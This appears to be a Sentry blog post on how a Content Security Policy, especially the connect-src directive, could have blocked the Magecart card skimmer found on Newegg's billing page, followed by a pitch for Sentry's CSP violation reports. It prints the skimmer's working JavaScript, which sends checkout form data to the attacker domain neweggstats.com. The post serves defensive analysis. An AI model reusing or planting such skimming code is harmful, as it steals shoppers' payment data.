How a Content Security Policy (CSP) Could Have Protected Newegg

Matt Robenolt /

Fifteen lines of code — 15 lines of JavaScript, to be precise — is all it took for Magecart (editor’s note: lol at that name) to capture payment data on Newegg’s billing page before sending it to a domain they registered. Here are those 15 lines: 

window.onload = function() {
  jQuery('#btnCreditCard.paymentBtn.creditcard').bind("mouseup touchend", function(e) {
   var dati = jQuery('#checkout');
   var pdati = JSON.stringify(dati.serializeArray());
   setTimeout(function() {
    jQuery.ajax({
     type: "POST",
     async: true,
     url: "https://neweggstats.com/GlobalData/",
     data: pdati,
     dataType: 'application/json'
    });
   }, 250);
  });
};

We don’t know how this malicious code was injected on Newegg’s billing page, but we do know how Newegg could have drastically decreased the likelihood of a breach.

Content Security Policy

Content Security Policy (CSP) is a security standard which helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks resulting from execution of malicious content in a trusted web page context. It’s also supported and enforced by all major web browsers. 

Looking at the code above, we can see that Magecart embedded an XHR request to neweggstats.com. CSP provides space for defining a rule that blocks this type of request by establishing policies to only permit certain types of content from safe sources. When configuring your web servers, make sure they are set to return the Content-Security-Policy HTTP header. For example:

Content-Security-Policy:
  default-src 'self' *.trusted.com;
  img-src *;
  media-src mediasouce1.com mediasource2.com;
  script-src scripts.trusted.com;
  connect-src 'self'

For this particular breach, connect-src is the critical rule. Again, because we don’t know how the code was actually injected, we can’t be sure that CSP would prevent the injection itself. However, the connect-src directive would have prevented the HTTP request to send the data to somewhere else, especially a sneakily-named domain.

Stay Informed

Blocking attacks is certainly helpful, but it’s also important that you’re made aware they’re happening. CSP isn’t foolproof, and while it’s available in most modern browsers, you’ll want to set up reporting, so when incidents do happen, you can respond quickly.

Sentry supports capturing CSP violations using the standard reporting hooks. To integrate Sentry and CSP, you’ll need to configure the appropriate header with your project key’s Security Header endpoint found at Project Settings > Security Headers:

Content-Security-Policy: 
  ...; 
  report-uri https://sentry.io/api/<project>/security/?sentry_key=<key>

Once configured, browsers will send their CSP violation reports directly to us.

Sentry CSP violation report
CSP violation rendered within Sentry

You will also receive an email notification for the violation indicating what failed and what was attempted to be connected to, in this case neweggstats.com. It also contains a summary of the report with relevant information, including what page the violation was from.

Sentry CSP alert email notification
A very informative email about your CSP violation

Sentry recognizes that CSP reports can be noisy so errors can be aggregated and alerts can be customized to sound the alarm on any violation spikes. The environment and release can also be specified.

And don’t forget folks: at Sentry, we value both you and your money. So we highly recommend you read these docs and start capturing CSP violations. Or, at the very least, that you establish a CSP and find some way to enforce it strongly.